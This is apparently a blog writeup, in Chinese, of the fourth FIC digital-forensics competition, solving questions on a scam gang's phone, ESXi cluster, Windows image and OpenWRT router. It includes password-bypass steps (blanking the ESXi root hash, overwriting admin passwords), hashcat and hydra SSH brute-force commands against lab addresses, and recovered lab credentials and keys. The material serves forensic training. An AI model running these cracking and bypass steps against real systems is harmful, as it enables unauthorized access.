8.分析嫌疑人李某的社交习惯,哪一个时间段消息收发最活跃?

 A. 12:00-14:00
 B. 14:00-16:00
 C. 16:00-18:00
 D. 18:00-20:00

分析聊天记录

image-20250423190658196

9.请分析嫌疑人手机,该案件团伙中,还有一名重要参与者警方未抓获,该嫌疑人所使用的微信账号ID为?

大声密谋

image-20250423190855310

看他微信号:

image-20250423190938694

10.请分析嫌疑人手机,嫌疑人老板组织人员参与赌博活动,所使用的国内访问入口地址为?[格式:127.0.0.1:8080/admin]

image-20250423195208508

服务器集群部分

(原文地址:第四届FIC线上赛,官方复盘在这里!

写在题目解析前面,服务器部分ESXI的重组会影响到做题的方法和进度,此处列举两种ESXI的重构和绕密方法:

  • 手动挂载绕密,可以不用额外挂载数据盘,难点是绕密。
  • 火眼仿真,可以直接绕过ESXI的密码,难点是挂载数据盘问题,需要手动挂载。(竞赛之后,弘连火眼项目组已经修复了ESXi的仿真问题,新版本的仿真软件可以直接启动自动挂载了,此方法不在列举)

在比赛当时,两种方法在重构难度上基本相同,不存在捷径。手动绕密看似更难,却可以实现百分百仿真,因为虚拟机设置可能存在开机自启等选项,该种方式可以在系统启动时正常加载所有虚拟机。这就像一次往返可能来回是不同的线路,很多人会选择眼前较近的路,在火眼仿真后再去手动挂盘。

这里我们主要介绍一下手动绕密自动挂盘的方式。

(1)首先使用FTK挂载ESXI的镜像。(此处注意点:挂载选项选择“物理”和“逻辑”;注意选择“逻辑”挂载是因为需要进入分区修改shadow文件)

640 (1)

(2)打开FTK挂载出来的虚拟磁盘,在250MB大小的一个分区找到state.gz文件。

640 (2)

解压层级为:State.tgz -> local.tgz -> /etc(建议使用7Z工具打开,直接在目录中点击编辑即可修改shadow文件,修改完成之后直接点保存即可)

(3)有了etc目录,绕密方式就比较明显了,将/etc/shadow文件root密码置空,重新按照路径选择tar.gz压缩回去后替换原文件。

640 (3)

(4)替换后完成后,使用VMware选择“创建新的虚拟机”,使用FTK挂载的物理磁盘,创建完成之后,即可启动新的虚拟机,ESXi密码此时已被清除,可以直接空密码登录。(由于是集群仿真,在仿真时需要勾选cpu嵌套虚拟化功能“Intel VT-x/AMD-V”,否则无法在虚拟机中再开虚拟机)

640 (4)

640 (5)

(5)建议(此步骤可以不做):ESXi环境启动之后(网络配置通畅),使用VMware自带的“连接远程服务器”功能,管理虚拟机会更加便捷,做题效率会提高。

640 (6)

640 (7)

(6)进入ESXi环境之后,所有虚拟机都没有提供密码,由于都是本地设备,可以采用单用户模式绕掉开机密码,网上教程很多,本文不做展开。(OpenWRT服务器终端默认空密码登录)

1.ESXi服务器的ESXi版本为?

ESXi(全称:VMware ESXi)是VMware公司开发的一种企业级虚拟化平台,属于“裸机(bare-metal)”虚拟化技术。

简单讲就是:

  • ESXi是一个极小型的操作系统,专门用于在一台物理服务器上运行多个虚拟机(VM)。
  • 它直接安装在物理服务器硬件上,不需要额外的操作系统(比如Windows或者Linux)作为中间层。
  • 它主要负责把底层硬件资源(CPU、内存、硬盘、网络)分配给上层的多个虚拟机,每个虚拟机都可以装不同的操作系统,比如Windows、Linux等。

仿真后即可看到:

image-20250423222410653

2.请分析ESXi服务器,该系统的安装日期为:

A. 2024年3月12日星期二 02:04:15 UTC
B. 2024年3月12日星期二 02:05:15 UTC
C. 2024年3月12日星期二 02:06:15 UTC
D. 2024年3月12日星期二 02:07:15 UTC

配置好网卡,即可在192.168.8.112中访问到管理页面

image-20250425181209655

可以发现系统的安装日期

3.请分析ESXi服务器数据存储“datastore”的UUID是?

image-20250425181434381

4.ESXI服务器的原IP地址?

由题目1可知

5.ESXI服务器中共创建了几个虚拟机?

image-20250425192417065

6.网站服务器绑定的IP地址为?

ESXI服务器的IP地址C段为192.168.8.1/24

启动网站服务器虚拟机,进行扫描探测存活:

image-20250425193034450

7.网站服务器的登录密码为?

思路一:找到网站服务器对应的虚拟机,其对应的VMDK文件为www-flat.vmdk,导出vmdk或者ftk挂载ESXi的E01,使用hashcat等爆破软件破解源检材中的/etc/shadow文件即可。

640 (8)

hashcat -m 1800 shadow -a 3 ?l?l?l?l?l?l
hashcat -m 1800 shadow -a 0 commonPwd.txt

思路二:在Windows检材内密码本也有该密码,也可以使用hydra,passware kit等工具扫爆。

(Hydra等服务爆破工具其实是非预期解,在获取检材情况下,可以通过技术手段获取所有有用信息对内容做拆解,而非使用黑盒方式获取,如果考察不可登录用户,或有ssh安全策略加固,则无法使用hydra等工具。)

hydra -l root -P commonPwd.txt ssh://192.168.8.89

8.服务器所使用的管理面板登陆入口地址对应的端口号为:

image-20250425195216765

有宝塔面板,查看端口即可:

image-20250425195324429

9.网站服务器的web目录是?

默认建站目录:

image-20250425195743401

没有发现网站源码:

image-20250425200353253

可以发现日志有解压网站源码操作:

image-20250425200412447

找到源码:

image-20250425200438892

10.网站配置中Redis的连接超时时间为多少秒?

面板中配置的跟本地的不同,以本地为主:

image-20250425200647702

网站在jar包中,也是为了引导去分析webapp下的jar包内容。查看ruoyi-admin.jar的配置文件application.yml明确redis超时时间:

image-20250425201727056

11.网站普通用户密码中使用的盐值为?

导出ruoyi-damin.jar后,使用jadx打开。找到并跟进登录逻辑,可以通过搜索login或者账户、密码等关键词找到com.ruoyi.app.service.impl.UserInfoServiceImpl.login,进而看到盐值,由于这题答案符号较多,注意答题时去掉双引号

这里使用jd-GUI进行分析,找到BOOT-INF/classes/com.ruoyi/web/controller/app/UserController.class中的盐:

image-20250425202101033

12.网站管理员用户密码的加密算法名称是什么

 A. des
 B. rsa
 C. md5
 D. bcrypt

思路一:数据库查看密码特征,这需要了解每个密码特征

(1)Des为对称加密,一般不用做密码加密,解密需要密钥;

(2)Rsa为非对称加密,一般也不用做密码而是密钥,结果一般为hex或者base64格式;

(3)Md5常见密码加密策略,这个大家应该都熟,结果为16/32位hex;

(4)Bcrypt常见密码加密策略,linux的shadow文件经典加密算法。特征为有多个$符号隔开。

启动数据库需要仿真data虚拟机,密码可在Windows内密码本爆破,做法与网站服务器类似。

同时Windows浏览器保存的openwrt密码和数据库服务器密码相同,当然这不是常规思路,但是如果临时猜解可以直接成功。(详见检材3计算机部分17题)

进入后发现服务器本身无mysql,简单查看或者使用火眼分析即可看到docker中有Mysql。

启动docker以及mysql容器即可,mysql密码在宝塔和docker inspect均可找到。

640 (9)

查看数据库,管理员用户信息记录在sys_use表,password列存储的就是密码密文。通过特征,可以确定为bcrypt。后面可以据此进行网站绕密。

640 (10)

思路二:BOOT-INF/lib/ruoyi-common/com.ruoyi.common/utils/SecurityUtils.class

image-20250425203531980

13.网站超级管理员用户账号创建的时间是?

从此步骤开始在这里与Windows部分交叉做题

Windows部分

1.分析技术员赵某的windows镜像,并计算赵某计算机的原始镜像的SHA1值为?

image-20250425210322753

2.分析技术员赵某的windows镜像,疑似VeraCrypt加密容器的文件的SHA1值为?

image-20250425212714509

计算其SHA1值即可

3.据赵某供述,他会将常用的密码放置在一个文档内,分析技术员赵某的windows镜像,找到技术员赵某的密码字典,并计算该文件的SHA1值?

跳转到这个加密镜像的位置,发现了密码字典(可用于服务器集群部分的题目中)

image-20250425212914912

4.据赵某供述,他将加密容器的密码隐写在一张图片内,隐写在图片中的容器密码是?

image-20250425213008966

image-20250425213118602

简单的隐写

5.分析技术员赵某的windows镜像,bitlocker的恢复密钥是什么?

加载上题得到的加密容器,得到恢复密钥:

image-20250425213334722

404052-011088-453090-291500-377751-349536-330429-257235

6.分析技术员赵某的windows镜像,bitlocker分区的起始扇区数是:

image-20250425213641334

7.分析技术员赵某的windows镜像,默认的浏览器是?

用密钥解密磁盘,进行挂载即可查看:

image-20250425215249833

8.分析技术员赵某的windows镜像,私有聊天服务器的密码为:

加密盘中存在信息:

image-20250425220141811

9.分析技术员赵某的windows镜像,嫌疑人计算机中有疑似使用AI技术生成的进行赌博宣传的图片,该图片中,宣传的赌博网站地址为?

image-20250425220055494

10.分析技术员赵某的windows镜像,赵某使用的AI换脸工具名称为?

 A. stable diffusion
 B. ROOP
 C. Midjourney
 D. DiffusionDraw

搜索关键词得到:

image-20250425220420967

11.分析技术员赵某的Windows镜像,使用AI换脸功能生成了一张图片,该图片的名称为:

powershell历史记录中有:

image-20250425222205267

powershell历史记录源文件:

/Users/L/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt

12.分析技术员赵某的Windows镜像,ai换脸生成图片的参数中--similar-face-distance值为:

由上题可知

13.分析技术员赵某的Windows镜像,嫌疑人使用AI换脸功能所使用的原始图片名称为:

由上上题可知

14.分析技术员赵某的Windows镜像,赵某与李某沟通中提到的“二维码”解密所用的网站url地址为?

在Chrome浏览器历史记录里面可以找到解密url地址:

image-20250425222635280

15.分析技术员赵某的Windows镜像,赵某架设聊天服务器的原始IP地址为?

思路一:浏览记录中有:

image-20250425222844441

思路二:之前手机检材中的聊天记录中有:

640 (12)

16.分析技术员赵某的Windows镜像,据赵某交代,其在窝点中直接操作服务器进行部署,环境搭建好了之后,使用个人计算机登录聊天室进行沟通,请分析赵某第一次访问聊天室的时间为?

 A. 2024-03-14 20:30:08
 B. 2024-03-14 20:31:08
 C. 2024-03-14 20:32:08
 D. 2024-03-14 20:33:08

由上题分析可知

17.分析技术员赵某的Windows镜像,openwrt的后台管理密码是:

在Chrome浏览器保存的密码中有(火眼自动解密):

image-20250425223137771

18.分析技术员赵某的Windows镜像,嫌疑人可能使用什么云来进行文件存储?

关键词搜索:

image-20250425223237217

19.分析技术员赵某的Windows镜像,工资表密码是多少?

工资表是加密盘中名单.xlsx文件,使用passware password recovery kit forensic进行字典暴力破解可得

20.分析技术员赵某的Windows镜像,张伟的工资是多少?

解密表格得到:

image-20250425224539251

服务器集群部分

13.网站超级管理员用户账号创建的时间是?

开始复原,打开数据库虚拟机

image-20250425224740914

宝塔里写的数据库位置ip是192.168.8.142:

image-20250425224848039

因此使用hydra进行爆破:

hydra -l root -P commonPwd.txt ssh://192.168.8.142

得到数据库服务器密码hl@7001

登录后发现没有mysql:

image-20250425225026642

但是有docker,其中发现mysql镜像:

systemctl start docker
docker ps -a
docker start 9bf1cecec395

image-20250425225347005

成功连接,得到账号密码使用navicat连接

image-20250425225454091

ji-mei
JnzssCCsp2NCpcjA

sys_user表中有:

image-20250425225706350

14.重构进入网站之后,用户列表页面默认有多少页数据?

此题开始需要完整重建网站,重构指南在之前Windows机器分析中得到“运维笔记”:

image-20250425225818737

按步骤来:

1.检查ruo-yi配置中mysql连接语句:

image-20250425225945053

localhost改为192.168.8.142,再把密码改成JnzssCCsp2NCpcjA

jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml

2.检查ssl

image-20250425231309720

jar xf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml
vi BOOT-INF/classes/application-druid.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application-druid.yml

3.检查redis

image-20250425231125537

redis修改localhost为127.0.0.1

jar xf ruoyi-admin.jar BOOT-INF/classes/application.yml
vi BOOT-INF/classes/application.yml
jar uf ruoyi-admin.jar BOOT-INF/classes/application.yml

4.定时报错问题

修改Sys_job

0 0/2 * * * ?
秒: 0 → 每分鐘的第0秒触发。
分钟: 0/2 → 从第0分钟开始,每隔2分钟触发一次(即0,2,4,...,58分钟)。
其他字段: * 表示“任意值”,? 表示“不指定星期几”。
总体含义: 每两分钟运行一次,精确在偶数分钟的0秒(如00:00:00, 00:02:00等)。

image-20250425231531528

5.登录受限:靶机搭建在本地,可以不用修改

尝试运行:

java -jar /webapp/ruoyi-admin.jar

访问:

image-20250425233415576

成功,在数据库中修改admin密码:

image-20250425233326762

image-20250425233340304

成功登录:

image-20250425233529566

image-20250425233610191

总共有877页用户

15.该网站的系统接口文档版本号为?

image-20250425233928952

16.该网站获取订单列表的接口是?

image-20250425234001091

17.受害人卢某的用户ID?

根据手机检材聊天记录可知用户账号为lu123456

image-20250425234201044

18.受害人卢某一共充值了多少钱?

查看受害人的账单流水即可:

image-20250425234231474

19.网站设置的单次抽奖价格为多少元?

image-20250425234415560

20.网站显示的总余额数是?

资金统计中有:

image-20250425234514491

21.网站数据库的root密码是?

image-20250425234658707

22.数据库服务器的操作系统版本是?

be799ab8afee9c41791d9a753d2e569f

重构了半天环境的结局……

不想做了,后边WP来自(第四届FIC线上赛,官方复盘在这里!2024第四届FIC初赛Writeup | ZhangZ-Blog

image-20240428204042115

23.数据库服务器的Docker Server版本是?

docker -v
docker version

24.数据库服务器中数据库容器的完整ID是?

由第13题可继续查看 Docker 对象的详细信息

docker inspect 9bf1cecec395

image-20240428204140344

25.数据库服务器中数据库容器使用的镜像ID?

同理由13题在数据库服务器中可查看

docker images

26.数据库服务器中数据库容器创建的北京时间

 A. 2024/3/13 12:15:23
 B. 2024/3/13 20:15:23
 C. 2024/3/14 00:15:23
 D. 2024/3/13 08:15:23
docker inspect 9bf1cecec395

默认时间是UTC,需要+8

image-20240428204338389

27.数据库服务器中数据库容器的ip是?

image-20240428204524467

28.分析数据库数据,在该平台邀请用户进群最多的用户的登录IP是?

使用SQL语句进行查询,群邀请表查询邀请人数最多的用户。

SELECT inviter_id, COUNT(*) AS invite_count
FROM app_group_apply
WHERE status = 1
GROUP BY inviter_id
ORDER BY invite_count DESC
LIMIT 10;

640 (13)

查询该用户信息,命令如下:

SELECT * from app_user_info WHERE id = 53576061

640 (14)

29.分析数据库数据,在该平台抢得最多红包金额的用户的登录IP是?

使用命令查看红包流水表查询抢得最多红包金额的用户。

SELECT user_id, SUM(money) as total_money
FROM app_grop_redpacket_member
GROUP BY user_id ORDER BY total_money desc;
SELECT * from app_user_info WHERE id = 90671142

640 (15)

查询该用户信息,命令如下:

SELECT * from app_user_info WHERE id = 90671142

640 (16)

30.数据库中记录的提现成功的金额总记是多少?(不考虑手续费)

使用查询语句查询得到总额(数据库中备注信息,有说明status=3为提现成功)。

SELECT SUM(amount) FROM `app_user_withdraw` WHERE `status` = 3

640 (17)

31.rocketchat服务器中,有几个真实用户?

rocketchat的后台地址是:http://192.168.8.128:3000/home

esxi得到ip,然后默认端口是3000

账号密码在Windows里面

image-20240428210818028

admin@admin.com
Zhao

rocketchat后台登录成功,聊天中第三个是bot

image-20240428210919753

32.rocketchat服务器中,聊天服务的端口号是?

使用linux命令查看docker容器监听的端口即可

docker exec -it 9 /bin/bash
netstate -anpt

640

33.rocketchat服务器中,聊天服务的管理员的邮箱是?

由31题可知

admin@admin.com

34.rocketchat服务器中,聊天服务使用的数据库的版本号是?

navicat连接后可以看到服务器版本为5.0.24

640 (1)

35.rocketchat服务器中,最大的文件上传大小是?(以字节为单位)

登录后查看设置-文件上传

image-20240428211056913

36.rocketchat服务器中,管理员账号的创建时间为?

 A. 2024/3/14 8:18:54
 B. 2024/3/14 8:19:54
 C. 2024/3/14 8:17:54
 D. 2024/3/14 8:15:54

Rocket绕密:登录界面点击注册。

640 (2)

注册成功后,用你注册的密码替换admin的密码即可。

640 (3)

image-20240428220926366

37.rocketchat服务器中,技术员提供的涉诈网站地址是:

image-20240428221134316

38.综合分析服务器,该团伙的利润分配方案中,老李的利润占比是多少?

image-20240428221155358

39.综合分析服务器,该团队“杀猪盘”收网的可能时间段为:

 A.2024/3/15 15:00:00-16:00:00
 B.2024/3/15 16:00:00-17:00:00
 C.2024/3/15 17:00:00-18:00:00
 D.2024/3/15 18:00:00-19:00:00

image-20240428221220028

40.请综合分析,警方未抓获的重要嫌疑人,其使用聊天平台时注册邮箱号为?

根据手机部分题目可知未抓捕的重要人员为老苏,查看该账号的信息可得。

image-20240428221346630

41.分析openwrt镜像,该系统的主机名为:

OpenWRT 是一个专门为路由器嵌入式设备设计的开源 Linux 操作系统

简单讲,它就像是给你的路由器装了一个小型、可定制的 Linux 系统,让原本只能基础上网的路由器,变得超级强大,比如可以:

  • 自己装各种软件(像安装 Linux 程序一样)
  • 支持 VPN
  • 精细控制防火墙、流量管理(QoS)
  • 变成广告屏蔽器、下载机、小型服务器(NAS)
  • 更灵活地管理无线信号、中继、Mesh 网络
  • 进行系统级别的安全加固

OpenWRT的登录密码在windows浏览器保存(详见检材3-计算机部分第17题)

image-20240428221607996

账密在这里

image-20240428221636575

42.分析openwrt镜像,该系统的内核版本为

image-20240428221652627

43.分析openwrt镜像,该静态ip地址为:

静态分析网卡配置文件或者在页面配置中可以查看:

640 (5)

640 (6)

44.分析openwrt镜像,所用网卡的名称为:

640 (7)

45.分析openwrt镜像,该系统中装的docker的版本号为:

docker version

640 (8)

46.分析openwrt镜像,nastools的配置文件路径为:

服务-NasTools内可发现:

640 (9)

47.分析openwrt镜像,使用的vpn代理软件为:

640 (10)

48.分析openwrt镜像,vpn实际有多少个可用节点?

image-20240428222103630

根据配置文件,第一个不是节点所以54-1=53

49.分析openwrt镜像,节点socks的监听端口是多少?

image-20240428222116521

50.分析openwrt镜像,vpn的订阅链接是:

image-20240428222131240

posted @ 2025-03-11 16:57  Super_Snow_Sword  阅读(516)  评论(0)    收藏  举报